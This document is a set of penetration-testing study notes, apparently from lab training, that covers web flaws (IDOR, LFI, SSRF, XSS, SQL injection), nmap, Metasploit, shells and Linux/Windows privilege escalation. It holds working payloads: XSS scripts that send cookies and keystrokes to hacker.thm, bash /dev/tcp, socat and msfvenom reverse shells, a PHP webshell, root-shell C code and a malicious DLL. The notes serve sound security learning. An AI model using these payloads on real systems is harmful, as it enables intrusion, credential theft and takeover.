- Introduction to Pentesting
- Introduction to Web Hacking
- Burp Suite
- Network Security
- Vulnerability Research
- Metasploit
- Privilege Escalation
-
Pentest (Penetration test) - ethical attempt to test & analyze security to protect assets; involves using tools and techniques to attempt breaking the system; authorised audit.
-
ROE (Rules of Engagement) - document created at initial stages of pentest, includes permission, test scope and rules.
-
Stages of pentest:
- Information gathering
- Enumeration, scanning
- Exploitation
- Privilege escalation
- Post-exploitation (pivoting, covering tracks, reporting)
-
Pentest methodologies:
- OSSTMM (Open Source Security Testing Methodology Manual)
- OWASP (Open Web Application Security Project)
- NIST (National Institute of Standards and Technology) Cybersecurity Framework
- NCSC CAF (National Cyber Security Centre - Cyber Assessment Framework)
-
Types of pentests:
- Black-box testing - No knowledge; high-level process
- Grey-box testing - Partial knowledge
- White-box testing - Full knowledge; low-level process
-
CIA triad - Confidentiality, Integrity and Availability.
-
PIM (Privileged Identity Management) - used to translate a user's role within an organisation into an access role on a system.
-
PAM (Privileged Access Management) - management of privileges a system's access role has.
-
Threat modelling - process of reviewing, improving and testing security protocols in place in an organisation's IT infra and services.
-
A threat model includes:
- Threat intelligence
- Asset identification
- Mitigation capabilities
- Risk assessment
- Content Discovery Methods
- Subdomain Enumeration
- Authentication Bypass
- IDOR
- File Inclusion Vulnerabilities
- SSRF
- XSS
- Command Injection
- SQL Injection
-
Manual -
#We can use the favicon link of a website to find the framework used curl https://website.com/favicon.ico | md5sum #this calculates md5 hash value after downloading the favicon #hash can be used to lookup on <https://wiki.owasp.org/index.php/OWASP_favicon_database>
#Manually discovering HTTP headers curl http://website.com/ -v
-
Automated -
#using wordlists #common tools are ffuf, dirb, gobuster - all do the same function ffuf -w /usr/share/wordlists/dirbuster.txt -u http://10.0.2.7/FUZZ dirb http://10.0.2.7/ /usr/share/wordlists/dirbuster.txt gobuster dir --url http://10.0.2.7/ -w /usr/share/wordlists/dirbuster.txt
-
OSINT (Open Source Intelligence) - OSINT includes methods such as advanced Google searching, checking archives or using applications such as Wappalyzer and S3 buckets.
-
OSINT - using public info with the help of sites such as http://crt.sh/ and https://transparencyreport.google.com/https/certificates to get a list of SSL/TLS certificates and discover subdomains. OSINT includes advanced Googling as well as using automated tools like
Sublist3r
-
Bruteforce - bruteforce DNS enumeration is trying different possible subdomains from a list of commonly used ones. As it involves a high number of requests, it is automated using tools such as
dnsrecon
. -
Virtual hosts - as some subdomains are not always hosted in public DNS results and are instead stored in private DNS server or in developer's machines in '/etc/hosts' file, we can use the Host header when accessing websites and modify it. This process can be automated too.
ffuf -w /usr/share/wordlists/dnsnamelist.txt -H "Host:FUZZ.acmeitsupport.thm" -u http://10.10.3.35 -fs {size} #replace {size} with any page size #-H flag is used for header #-fs is used for filtering output by page size
-
Username enumeration -
#a list of valid usernames can be created on basis of error message ffuf -w /usr/share/wordlists/names.txt -X POST -d "username=FUZZ&email=x&password=x" -H "Content-Type:application/x-www-form-urlencoded" -u http://10.10.131.237/customers/signup -mr "username already exists" #-X specifies request method #-d is for data that we will send #-H is for extra headers added to request #-mr is the text or error we are looking for a valid username
-
Brute force -
#we can use valid usernames to brute force login pages ffuf -w valid_usernames.txt:W1, /usr/share/wordlists/passwords.txt:W2 -X POST -d "username=W1&password=W2" -H "Content-Type: application/x-www-form-urlencoded" -u http://10.10.131.237/customers/login -fc 200 #multiple wordlists, so instead of using FUZZ we have to use custom terms #-fc is used for status code other than 200, for positive match
-
Logic flaw - typical logical path of app is bypassed, circumvented or manipulated.
-
Cookie tampering - For plaintext cookies, we can simply modify cookies. For hashed cookies, however, we have to use resources such as https://crackstation.net/. If the cookies are encoded using base32 or base64, we can simply decode, modify and encode the cookie string to bypass login.
curl http://10.10.131.237/cookie-test #returns message 'Not Logged In' curl -H "Cookie: logged_in=true;admin=false" http://10.10.131.237/cookie-test #logged in curl -H "Cookie: logged_in=true;admin=true" http://10.10.131.237/cookie-test #logged in as Admin
-
IDOR (Insecure Direct Object Reference) - a type of access control vulnerability; occurs when a web server receives user input to retrieve objects without validation on server-side to confirm the requested object belongs to the one requesting it. Examples include:
-
Websites such as https://website.com/profile?userid=1002, where the userid field can be manipulated.
-
Data being sent to server is encoded using base64. In these instances, we can simply decode and encode modified data and submit it.
-
Hashing IDs; if they are predictable, they can be cracked using services like https://crackstation.net/.
-
IDOR detection by creating two accounts on the same website, and swapping the IDs between them. If the other users' content can be viewed using their ID but not by logging into their account, then it is a valid IDOR vulnerability.
-
-
Local File Inclusion (LFI) -
-
due to lack of security awareness in developers, PHP functions such as
include
,require
,include_once
,require_once
can cause this vulnerability. -
Examples include changing URL to http://webapp.thm/get.php?file=/etc/passwd (this would work when no directories are specified in functions) and transforming URL to http://webapp.thm/index.php?lang=../../../../etc/passwd (similar to path traversal).
-
-
Remote File Inclusion (RFI) -
-
to include remote files into a vulnerable app, this is also due to improper sanitation of user input.
-
requirement for RFI is that
allow_url_fopen
should be on, because external URL has to be injected using include. -
higher risk as it can allow to gain RCE (Remote Command Execution), do sensitive info disclosure or other attacks such as XSS and DoS.
-
-
Directory traversal (path traversal or dot-dot-slash attack) -
-
allows attacker to read OS resources, local files on the server by manipulating web app's URL to access directories outside root directory.
-
occur when user's input is passed to a function (e.g. -
file_get_contents
in PHP). -
poor input validation or filtering can also cause this:
-
Examples include modifying http://webapp.thm/get.php?file=usercv.pdf to http://webapp.thm/get.php?file=../../../../etc/passwd, or for a Windows machine, it can be changing the link into http://webapp.thm/get.php?file=../../../../boot.ini or http://webapp.thm/get.php?file=../../../../windows/win.ini
-
-
SSRF (Server Side Request Forgery) - vulnerability that allows user to cause webserver make an extra or edited HTTP request to any resource that attacker wants. There are 2 types of SSRF vulnerability - one is regular, where data is returned to attacker's screen; another type is blind SSRF, in which SSRF occurs but no info is returned to screen. Examples include:
-
Expected request - http://website.thm/stock?url=http://api.website.thm/api/stock/item?id=123
Modified request - http://website.thm/stock?url=http://api.website.thm/api/user
Website requests - http://api.website.thm/api/user
-
Expected request - http://website.thm/stock?url=/item?id=123
Modified request - http://website.thm/stock?url=/../user
Website requests - http://api.website.thm/api/stock/../user (gives /api/user)
-
Expected request - http://website.thm/stock?server=api&id=123
Modified request - http://website.thm/stock?server=api.website.thm/api/user&x=&id=123 (&x= is a payload here, to stop remaining path appending to URL, instead it turns it into a parameter)
Website requests - http://api.website.thm/api/user?x=.website.thm/api/stock/item?id=123
-
Expected request - http://website.thm/stock?url=http://api.website.thm/api/stock/item?id=123
Modified request - http://website.thm/stock?url=http://hacker.domain.thm/ (this helps in capturing request headers sent to attacker's domain, and the headers could contain authentication credentials or API keys)
Website requests - http://hacker.domain.thm/
-
Possible SSRF vulnerabilities, can be discovered with https://requestbin.com/ too -
-
When full URL is used in a parameter in address bar
-
A hidden field in a form
-
A partial URL like just the hostname
-
Only path of URL
-
-
-
XSS (Cross-Site Scripting) - Injection attack where malicious JS gets injected into web app for other users to execute. Examples -
-
Proof of concept:
<script> alert('XSS'); </script>
-
Session stealing:
<script> fetch('https://hacker.thm/steal?cookie=' + btoa(document.cookie)); </script>
-
Key Logger:
<script> document.onkeypress = function(e) {fetch('https://hacker.thm/log?key=' + btoa(e.key));} </script>
-
Business Logic:
<script> user.changeEmail('attacker@hacker.thm'); //a particular function is called </script>
-
-
Types of XSS:
-
Reflected XSS - user-supplied data in HTTP request is included in webpage source without validation. It can be tested at every point of entry, including parameters in URL and URL file path.
-
Stored XSS - payload is stored on the web app and then gets run when users visit the page. It can be tested at every point of entry where data can be stored, like comments on a blog, user profile information, etc.
-
DOM-Based XSS - JS execution happens directly in browser without loading pages or submitting data. It happens when JS code acts as input or user interaction. Examples can be using the 'window.location.x' parameters for the attacker to gain control, or unsafe methods such as 'eval()'.
-
Blind XSS - similar to stored XSS, but we cannot see the payload working. To test for blind XSS, we need to ensure the payload has a call-back (like a HTTP request) to know if code is getting executed. Tools like
xsshunter
can be used for blind XSS attacks.
-
-
XSS polyglot - string of text which can escape attributes, tags and bypass filters all in one. Example -
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */onerror=alert('THM') )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert('THM')//>\x3e
-
Command injection - abusing the web app's power to execute commands on the OS. This is also known as RCE (Remote Code Execution). This vulnerability exists because apps use functions to pass data and make system calls on the machine's OS.
-
In command injection,
;
,&
and&&
can be used as shell operators to combine multiple system commands and execute them. -
Command injection can be blind or verbose; the former gives no direct output while testing payloads whereas the latter includes feedback.
-
For blind command injection, we need to use payloads that will cause time delay, like
ping
andsleep
. We can also use commands to force output, like>
to read a file. -
curl
can be used to test for command injection as it is used to deliver data to and from an app in the payload:curl http://vulnerable.app/process.php%3Fsearch%3DThe%20Beatles%3B%20whoami
-
Common payloads for Linux machines -
whoami
,ls
,ping
,sleep
,nc
-
Common payloads for Windows machines -
whoami
,dir
,ping
,timeout
-
Functions vulnerable to command injection -
exec
,passthru
,system
-
Input sanitisation can be used to prevent command injection vulnerabilities; however, payloads can use hexadecimal values to bypass filters.
-
-
SQL Injection (SQLi) - attack on web app database server that causes malicious queries to be executed. This happens when user-provided data is included in SQL query. For example -
URL - https://website.thm/blog?id=1 Modified URL - https://website.thm/blog?id=2;-- #semicolon to end SQL statement and two dashes for comments
-
Types of SQLi:
-
In-Band SQLi - easiest to detect and exploit; refers to same method of communication being used to exploit the vulnerability and also receive the results. Common types are:
-
Error-based SQLi - error messages from database are printed directly to browser screen, can be used to enumerate a whole database.
-
Union-based SQLi - uses UNION operator with SELECT statement to return extra info to page, can extract more data.
-
-
Blind SQLi - we get little to no feedback to confirm our injected queries' success. Common types are:
-
Authentication bypass - blind SQLi can be used in bypassing authentication methods. Queries which return true/false are used in these scenarios.
-
Boolean-based - refers to response received back from injection attempts, could be true/false, yes/no, 1/0, etc.
-
Time-based - no visual indicator of queries being right or wrong; instead the query is based on the time the query takes to complete. Methods such as
sleep(x)
are used along with UNION statement.
-
-
Out-of-Band SQLi - not common as it depends on specific features being enabled in database server or web app, which makes external network calls based on results from SQL query. Such attacks have two different communication channels, one to launch attack and the other to gather results.
-
-
SQLi attacks can be prevented by using prepared statements (parameterized queries), input validation and escaping user input.
-
Burp Suite - framework written in Java that provides tools for web app pentesting. It is used to intercept, view and modify web requests prior to them being sent to the target browser. Some features of Burp Suite (Community edition):
- Proxy - intercept and modify requests/responses when interacting with web apps.
- Repeater - capture, modify, then resend the same request multiple times.
- Intruder - to spray an endpoint with requests, used for brute-forcing or fuzzing endpoints.
- Decoder - decodes capture info or encodes a payload prior to sending it to the target.
- Comparer - compare two pieces of data at word/byte level.
- Sequencer - assess randomness of tokens (like session cookie values).
-
Burp Proxy works by opening a web interface on 127.0.0.1:8080 by default. Our browser traffic can be redirected through this port, before intercepting it with Burp, with the help of a browser extension called 'FoxyProxy'.
-
While using Burp Proxy, scoping is recommended as it allows us to define what gets proxied and logged, and we can restrict Burp Suite to only target the web apps to be tested.
-
Recon (reconnaissance) - preliminary survey to gather info about a target. Its types are:
- Passive recon - we rely on public info.
- Active recon - requires direct engagement with the target.
-
Passive recon examples:
-
WHOIS - request and response protocol -
-
A WHOIS server listens on TCP port 43 for incoming requests.
-
Domain registrar maintains the WHOIS records for the domain names it is leasing.
-
WHOIS server replies with info related to the domain requested, such as registrar, contact info, name server, and creation, update and expiration dates.
-
-
To get WHOIS info, we can use a
whois
client or an online service. The syntax iswhois DOMAIN_NAME
. -
We can find the IP address of a domain name using
nslookup DOMAIN_NAME
. For a general query, we can usenslookup OPTIONS DOMAIN_NAME SERVER
. For example,nslookup -type=A tryhackme.com 1.1.1.1
. -
For more advanced DNS queries, we can use
dig @SERVER DOMAIN_NAME TYPE
. -
DNSDumpster is an online tool which offers detailed answers to DNS queries. It also provides any collected info about listening servers.
-
Shodan.io is a service which gives us info about the client's network without actively connecting to it. It tries to connect to every device reachable online to build a search engine of connected data.
-
-
Active recon examples:
-
We can use a web browser to gather info about the target:
-
Developer tools in browser give us info about code used.
-
Extensions such as FoxyProxy, Wappalyzer and User-Agent Switcher & Manager.
-
-
ping
can be used to check if remote system is online. The syntax isping -c 10 MACHINE_IP
. -
traceroute
is used to find the IP addresses of the routers that a packet traverses as it goes from our system to target host. Syntax istraceroute MACHINE_IP
. -
telnet
can be used to connect to any service and grab its banner. Syntax istelnet MACHINE_IP PORT_NUMBER
. -
nc
can be used as a client to connect to a listening port, and as a server to listen on a port. For netcat as client, syntax isnc MACHINE_IP PORT_NUMBER
; and for netcat as server, syntax isnc -lvnp PORT_NUMBER
.
-
-
nmap
can be used for enumerating targets, which we can specify as:-
list -
MACHINE_IP scanme.nmap.org example.com
will scan 3 IP addresses. -
range -
10.11.12.15-20
will scan 6 addresses. -
subnet -
MACHINE_IP/30
will scan 4 addresses. -
file -
nmap -iL hosts_list.txt
.
-
-
nmap
uses the following approach to discover live hosts:-
When privileged user tries to scan targets on a local network,
nmap
uses ARP requests. -
When privileged user tries to scan targets outside local network, it uses ICMP echo requests, TCP ACK (port 80), TCP SYN (443) and ICMP timestamp request.
-
When unprivileged user tries to scan targets outside local network, it uses a TCP 3-way handshake by sending SYN packets to 80 and 443.
-
-
nmap -PR -sn MACHINE_IP/24
fornmap
using ARP for host discovery in local network without port scanning. -
nmap -PE -sn MACHINE_IP/24
will send ICMP echo packets to every IP on the subnet without port scan. Here,-PP
can be used instead of-PE
to use ICMP timestamp requests;-PM
can be used for address mask queries. -
nmap
host discovery can be done through TCP and UDP:-
nmap -PS -sn MACHINE_IP/24
uses TCP SYN ping. We can do this for a range of ports, like-PS21-25
or-PS80,443,8080
. -
nmap -PA -sn MACHINE_IP/24
uses TCP ACK ping. -
nmap -PU -sn MACHINE_IP/24
uses UDP ping.
-
-
Basic port scans:
-
nmap -sT MACHINE_IP
- TCP connect scan. -
nmap -sS MACHINE_IP
- TCP SYN scan. -
nmap -sU MACHINE_IP
- UDP scan.
-
-
Advanced port scans (can be used for stateless firewalls) :
-
nmap -sN MACHINE_IP
- TCP Null scan. -
nmap -sF MACHINE_IP
- FIN scan. -
nmap -sX MACHINE_IP
- Xmas scan. -
nmap -sM MACHINE_IP
- TCP Maimon scan (outdated). -
nmap -sA MACHINE_IP
- TCP ACK scan (for discovering firewall rules). -
nmap -sW MACHINE_IP
- TCP window scan (for discovering firewall rules). -
nmap --scanflags RSTSYNFIN MACHINE_IP
- custom scan (using flag names). -
nmap -e NET_INTERFACE -Pn -S SPOOFED_IP MACHINE_IP
- scan using spoofed IP. -
nmap -D 10.10.0.1, 10.10.0.2, MY_IP, 10.10.114.196
- decoy scan. -
nmap -sI ZOMBIE_IP MACHINE_IP
- idle/zombie scan. -
Use
--reason
for explanation,-v
or-vv
for verbosity, and-d
or-dd
for debugging.
-
-
Post Port scans:
-
nmap -sV --version-intensity LEVEL MACHINE_IP
- for service and version detection, where LEVEL ranges from 0 (lightest) to 9 (complete). -
nmap -sS -O MACHINE_IP
- OS detection. -
nmap -sS --traceroute MACHINE_IP
- traceroute. -
Saving output:
-
normal -
-oN
-
grepable -
-oG
-
XML -
-oX
-
all formats -
-oA
-
-
-
Common protocols:
-
Telnet - Application layer protocol, to connect to a virtual terminal of another computer; unencrypted communication; Telnet server uses port 23.
-
HTTP - to transfer webpages, sends and receives data as cleartext; we can use
telnet
instead of a web browser to request a file from the webserver using commands such astelnet MACHINE_IP 80
,GET /index.html HTTP/1.1
,host: telnet
, and so on. -
FTP - for file transfers, unencrypted communication; again, we can use
telnet
ornetcat
to communicate with FTP server, acting as an FTP client. -
SMTP - used to communicate with MTA (Mail Transfer Agent) server, uses cleartext; use
telnet
to connect to SMTP server, act as MUA (Mail User Agent) sending a mail; uses port 25. -
POP3 - to download email messages from MDA (Mail Delivery Agent) server; uses port 110.
-
IMAP - better than POP3 as it keeps email synced across multiple clients, uses port 143.
-
-
Common attacks against cleartext traffic:
-
Sniffing attack:
-
using a network packet capture tool such as
tcpdump
,wireshark
ortshark
to collect info about target. -
requires access to network traffic, can be done using a MITM attack.
-
using
tcpdump
-sudo tcpdump port 110 -A
, where we are filtering packets to port 110, in ASCII format. -
to mitigate these attacks, a layer of encryption is required on top of any network protocol, using TLS (Transport Layer Security).
-
-
MITM attack:
-
victim thinks the communication is with legit destination, but it's unknowingly communicating with attacker.
-
using tools like
ettercap
andbettercap
. -
can use PKI (public key infra), trusted root certs and TLS to protect from MITM attacks.
-
-
Password attack:
-
these attacks can be carried out by password guessing, dictionary and brute-force attacks.
-
Hydra
can be used for password attacks, it supports multiple protocols. -
Syntax for
Hydra
-hydra -l username -P wordlist.txt server service
. -
Mitigation approaches include password policy, account lockout, CAPTCHA, MFA.
-
-
-
Vulnerability - flaw in system design; can be exploited by attacker to gain access. Types:
- OS
- Configuration-based
- Weak credentials
- App logic
- Human factor
-
Vulnerability scoring - vital in vulnerability management; to determine potential risk and impact; common frameworks are CVSS (Common Vulnerability Scoring System) and VPR (Vulnerability Priority Rating).
-
Vulnerability databases - NVD (National Vulnerability Database), Exploit-DB.
-
Vulnerability research -
- Nessus (automated)
- Rapid7 (manual)
- GitHub (manual)
- Searchsploit (manual)
-
Metasploit Framework - exploitation framework for pentesting; includes components such as
msfconsole
, modules and tools. -
The Metasploit console can be launched with the command
msfconsole
. -
Modules categories:
-
Auxiliary - supporting modules like scanners, crawlers and fuzzers.
-
Encoders - to encode the exploit and payload to dodge signature-based antivirus.
-
Evasion - to evade antivirus software.
-
Exploits - code that uses vulnerability present on target system.
-
NOPs - No Operation, does nothing; used as buffer.
-
Payloads - codes that will run on the target system.
-
Post - modules used in post-exploitation.
-
-
Types of payloads:
-
Singles - self-contained payloads; do not download extra components to run (has "_" after "shell" in payload name).
-
Stagers - for setting up connection channel between Metasploit and target system; used with staged payloads (has "/" after "shell" in payload name).
-
Stages - downloaded by the stager; allows to use larger sized payloads.
-
-
Useful commands in Metasploit console:
help #shows help use exploit/windows/smb/ms17_010_eternalblue #we can use any exploit with 'use' show options #prints options related to chosen exploit show payloads #lists payloads that can be used with exploit back #leave chosen context info #details about module search ms17-010 #search for modules using keywords set PARAMETER_NAME VALUE #to set parameter value in module options exploit #launch module run #same as exploit exploit -z #run exploit and background the session as it opens background #background the session prompt, go back to msfconsole prompt sessions -l #see existing sessions sessions -i 2 #interact with session 2
-
msfvenom
- used to generate payloads:msfvenom -l payloads #list all payloads msfvenom --list formats #list supported output formats msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.186.44 -f raw -e php/base64 #-f is for output format and -e is for encoding msfvenom -p php/reverse_php LHOST=10.0.2.19 LPORT=7777 -f raw > reverse_shell.php #example of handlers use exploit/multi/handler #using multi handler to receive incoming connections #other payload formats include .elf, .exe, .php, .asp, .py
-
meterpreter
- Metasploit payload; agent within command and control arch; it runs on target system but only in memory, to avoid antivirus detection. -
Metepreter post-exploitation:
help #shows all commands getuid #user info, privilege level ps #lists running processes migrate 716 #migrate to process 716 to interact hashdump #dumps hashes of stored passwords #can be cracked using online NTLM databases or rainbow table attacks search -f flag.txt #search files shell #launch shell load kiwi #load additional tools for post-exploitation background #to background the session, use post-exploitation modules
-
Tools and resources to receive reverse shells and send bind shells:
- Netcat
- Socat
- Metasploit - multi/handler
- msfvenom
- Payloads All The Things
- Reverse Shell Cheat Sheet
- Sec Lists
-
Types of shells:
-
Reverse shells - target is forced to execute code that connects back to our computer; we have to setup a listener which would be used to receive the connection. Used to bypass firewall rules.
-
Bind shells - code executed on target is used to start a listener attached to a shell directly on target; then we can connect to the port that the code has opened and obtain remote code execution.
-
-
Shells can also be interactive or non-interactive.
-
Netcat:
-
Connecting to a shell:
#for reverse shells, starting a netcat listener sudo nc -lvnp 443 #for bind shells, connecting to a listener nc TARGET_IP 443
-
Netcat shell stabilization:
#method1 python -c 'import pty;pty.spawn("/bin/bash")' #to spawn a bash shell export TERM=xterm #background shell using Ctrl+Z #in our terminal stty raw -echo; fg #turns echo off and foregrounds shell #after stopping, use 'reset' in own terminal to enable echo
#method2 sudo apt install rlwrap #program for stabilising shell rlwrap nc -lvnp 443 #use rlwrap with nc for better shell #can be used for Windows too
#method3 #for Linux, on local machine, start server to transfer socat static compiled binary sudo python3 -m http.server 80 #on target machine wget LOCAL_IP/socat -O /tmp/socat
-
-
Socat:
-
Connecting to a shell:
#reverse shell listener socat TCP-L:443 - #where 443 is port number #on Windows, to connect back socat TCP:LOCAL_IP:LOCAL_PORT EXEC:powershell.exe,pipes #on Linux, to connect back socat TCP:LOCAL_IP:LOCAL_PORT EXEC:"bash -li" #bind shells #on Linux socat TCP-L:443 EXEC:"bash -li" #on Windows socat TCP-L:443 EXEC:powershell.exe,pipes #on attacking machine, to connect to listener socat TCP:TARGET_IP:TARGET_PORT -
-
Socat shell stabilization:
#for listener socat TCP-L:443 FILE:`tty`,raw,echo=0 #passing current TTY as file #to activate listener socat TCP:ATTACKER_IP:ATTACKER_PORT EXEC:"bash-li",pty,stderr,sigint,setsid,sane #to normalize shell
-
Socat encrypted shells:
#on local machine openssl req --newkey rsa:2048 -nodes -keyout shell.key -x509 -days 362 -out shell.crt #to generate a certificate for encryption cat shell.key shell.crt > shell.pem #merge files #to setup reverse shell listener socat OPENSSL-LISTEN:<PORT>,cert=shell.pem,verify=0 - #to connect back socat OPENSSL:<LOCAL-IP>:<LOCAL-PORT>,verify=0 EXEC:/bin/bash #for bind shell target socat OPENSSL:<LOCAL-IP>:<LOCAL-PORT>,cert=shell.pem,verify=0 EXEC=cmd.exe,pipes #for bind shell attacker socat OPENSSL:<TARGET-IP>:<TARGET-PORT>,verify=0 -
-
-
msfvenom:
msfvenom -p windows/x64/shell/reverse_tcp -f exe -o shell.exe LHOST=<listen-IP> LPORT=<listen-port> #-p for payload, -f for format, -o for filename and location #stageless payloads indicated with _ #staged payloads indicated with / msfvenom --list payloads #list all payloads msfvenom --list payloads | grep "linux" #search particular payload
-
Webshells - script that runs inside webserver which executes code on the server. For example,
<?php echo "<pre>" . shell_exec($_GET["cmd"]) . "</pre>"; ?>
is a basic PHP webshell. -
Post-shell steps:
-
SSH keys stored in
/home/username/.ssh
, or credentials stored in random files. -
For Windows, we can create an account in Adminstrators group:
net user <username> <password> /add net localgroup administrators <username> /add
-
-
Enumeration:
hostname #hostname of target machine uname -a #sysinfo cat /proc/version #system processes info cat /etc/issue #another way to identify system ps #running processes ps aux #all processes, including those not attached to terminal env #env variables sudo -l #list all commands user can run using sudo ls -la #all files id #user privilege level and groups cat /etc/passwd #discover all users cat /etc/passwd | cut -d ":" -f 1 #only users history #prev commands ifconfig netstat -ano #shows all sockets find . -name flag.txt #find files find / -perm -222 -type d 2>/dev/null #find world-writeable folders find / -perm -u=s -type f 2>/dev/null #find files with SUID bit
-
Automated enumeration tools:
-
Privilege Escalation:
-
Kernel exploits:
-
Identify the kernel version using
cat /etc/issue
orcat /proc/version
. -
Search and find exploit code for kernel version of target system, using resources such as https://www.linuxkernelcves.com/cves
-
Run exploit.
-
-
Sudo:
-
https://gtfobins.github.io/ can be used to check for using programs with sudo rights to get higher privilege.
-
sudo -l
to check current situation related to root privileges -
Leverage
LD_PRELOAD
://on some systems, we can see the LD_PRELOAD option on 'sudo -l' //if env_keep option is enabled we can use a privilege escalation vector //the following C code can be used and compiled as a share object (.so extension) file //run program with sudo rights and LD_PRELOAD pointing to our .so file #include <stdio.h> #include <sys/types.h> #include <stdlib.h> void _init() { unsetenv("LD_PRELOAD"); setgid(0); setuid(0); system("/bin/bash"); }
#save and compile into a .so file gcc -fPIC -shared -o shell.so shell.c -nostartfiles #run program with LD_PRELOAD #for program to work, real user ID should be same as effective user ID sudo LD_PRELOAD=/home/user/ldpreload/shell.so find #this will produce a shell spawn with root
-
-
SUID:
-
SUID (Set-user identification) and SGID (Set-group identification) allow files to be executed with the permission level of the file owner or group owner; these files will have an 's' bit in permissions:
#list files that have SUID or SGID bits set find / -type f -perm -04000 -ls 2>/dev/null
-
From this list, we can compare executables with GTFOBins, by filtering the SUID bit.
-
For example, if
nano
is owned by root and has SUID bit set, we can use two options for privilege escalation:#first method is to read the /etc/shadow file #as nano has SUID bit set nano /etc/shadow #prints contents nano /etc/passwd #store both outputs in separate text files #we can use unshadow tool to create crackable file by John The Ripper /usr/sbin/unshadow passwd.txt shadow.txt > passwords.txt #John The Ripper can attempt to return passwords in cleartext /usr/sbin/john passwords.txt
#second method is to add user to /etc/passwd file #we need hash value of new user to be added openssl passwd -1 -salt THM password1 #gives hashed password nano /etc/passd #add new username and password to it #add root:/bin/bash for shell #switch to this user su newusername #now we will have root access
-
-
Capabilities:
-
Capabilities manage privileges at a granular level. Use
getcap -r / 2>/dev/null
to list enabled capabilities. -
Binaries that can be used for privilege escalation can be searched on GTFObins.
-
-
Cron Jobs:
-
Cron jobs are used to run scripts at specific times. By default, they run with the privilege of their owners.
-
Any user can read the cron jobs using
cat /etc/crontab
. -
If current user can access script, it can be modified to create a reverse shell with root privileges:
#!/bin/bash bash -i >& /dev/tcp/10.0.2.15/6666 0>&1 #make it executable chmod +x backup.sh #we have to run listener on attacking machine nc -nvlp 6666
-
-
PATH:
-
PATH is an environmental variable that tells OS where to search for executables; use
echo $PATH
. -
We can hack the system to run a script if we have the write permission for any folder included in PATH.
-
Example script:
//this script tries to launch a system binary called 'thm' #include<unistd.h> void main() { setuid(0); setgid(0); system("thm"); }
gcc script.c -o script -w chmod u+s script ./script #if any writable folder is listed under PATH we can create a binary (thm) in that directory and our script will run it #as SUID bit is set, it will run with root privilege #we can search for writable folders find / -writable 2>/dev/null | cut -d "/" -f 2 | sort -u #to add a folder to PATH export PATH=/tmp:$PATH #in /tmp echo "/bin/bash" > thm chmod 777 thm
-
-
NFS:
-
Network File Sharing configuration is in the
/etc/exports
file. If theno_root_squash
option is present on a writable share, we can create an executable with SUID bit set and run it on target system:#check mountable shares on target machine showmount -e MACHINE_IP #now, on attacker machine #mounting one of the "no_root_squash" shares to attacking machine mkdir /tmp/backup mount -o rw MACHINE_IP:/backups /tmp/backup #in the same folder of /tmp/backup, we can create a script
int main() { setuid(0); setgid(0); system("/bin/bash"); return 0; }
gcc nfs_script.c -o nfs -w chmod +s nfs #as we worked on mountable share, we do not need to transfer #in target system ./nfs #gives root access
-
-
-
Information Gathering:
-
User Enumeration:
whoami #current user whoami /prev #current user privileges net users #list users net user Administrator #list details of user qwinsta #other users logged in net localgroup #users groups net localgroup Administrators #list group members
-
System Information:
systeminfo #systeminfo | findstr /B /C:"OS Name" /C:"OS Version" hostname
-
Searching Files:
findstr /si password *.txt #s for searching all subdirectories, i for ignoring uppercase lowercase #searches for string "password" in .txt files
-
Patch Level:
wmic qfe get Caption,Description,HotfixID,InstalledOn #lists updates installed using wmic tool
-
Network Connections:
netstat -ano #lists listening ports on target system
-
Scheduled Tasks:
schtasks /query /fo LIST /v #lists scheduled tasks
-
Drivers:
driverquery #installed drivers
-
Antivirus:
sc query windefend #returns current state of service 'windefend' sc queryex type=service #if you do not know name of service
-
-
Automated Enumeration Tools:
-
#to run PowerUp, we may need to bypass execution policy restrictions powershell.exe -nop -exec bypass Import-Module .\PowerUp.ps1 Invoke-AllChecks #run PowerUp
-
#after installing the Python script on attacking machine windows-exploit-suggester.py -update #update DB #on target Windows machine systeminfo > output.txt #move output.txt to attacking machine, then run WES windows-exploit-suggester.py --database 2021-09-21-mssb.xls --systeminfo output.txt
-
Metasploit
#in Meterpreter shell on target system multi/recon/local_exploit_suggester #lists vulnerabilities
-
Vulnerable Software:
wmic product #prints info on product wmic product get name,version,vendor #filter output wmic service list brief #all services wmic service list brief | findstr "Running" #filter output sc qc service #prints info on service
-
DLL Hijacking:
-
DLLs (Dynamic Link Libraries) are executable files but cannot be run directly, they need to be launched by other applications.
-
DLL hijacking is switching legit DLL files with modified DLL files so that it is run by the application (usually an .exe file with a missing DLL file or using the DLL search order).
-
There can be two DLL search orders, and it depends on whether
SafeDllSearchMode
is enabled or disabled. -
ProcMon
(Process Monitor) can be used to find potential DLL hijacking vulnerabilities. However, it requires admin privileges, so instead of checking on target system, we would need to install the software on test environment and conduct research. -
Skeleton code for malicious DLL:
#include <windows.h> BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved) { if (dwReason == DLL_PROCESS_ATTACH) { system("cmd.exe /k whoami > C:\\Temp\\dll.txt"); ExitProcess(0); } return TRUE; } #this file will execute 'whoami' command and save output in 'dll.txt'
apt install gcc-mingw-w64-x86-64 #compile and generate DLL file using mingw compiler x86_64-w64-mingw32-gcc windows_dll.c -shared -o output.dll #to download malicious DLL file to target system in \Temp directory #PowerShell command wget -O hijackme.dll ATTACKER_IP:PORT/hijackme.dll #in target machine, stop and start dllsvc service sc stop dllsvc & sc start dllsvc
-
-
Unquoted Service Path:
-
If the binary path for a service has spaces in its name and does not have quotes set, Windows will append ".exe" and start looking for executables, starting with the shortest possible path.
-
This vulnerability can be exploited by placing an .exe file in a location the service might look for.
-
Requirements - being able to write to a folder on the path; being able to restart the service.
#to check running services wmic service get name,displayname,pathname,startmode #check for services with unquoted paths sc qc unquotedsvc #check binary path of service #check privileges on folders in the binary path #accesschk binary given .\accesschk64.exe /accepteula -uwdq "C:\Program Files\"" #find writable folder
#on attacking machine, use msfvenom msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACK_IP LPORT=8888 -f exe > executable_name.exe msfconsole use exploit/multi/handler set payload windows/x64/shell_reverse_tcp set lport 8888 set lhost ATTACK_IP run
#move executable file to target machine #restart vulnerable service sc stop unquotedsvc sc start unquotedsvc
-
-
Token Impersonation:
-
In Windows versions before Server 2019 and 10 (version 1809), service accounts are affected by an internal MITM vulnerability due to the
SeImpersonatePrivilege
privilege. -
These exploits have different names such as "Hot Potato", "Rotten Potato", etc.
-
-
Quick Wins:
-
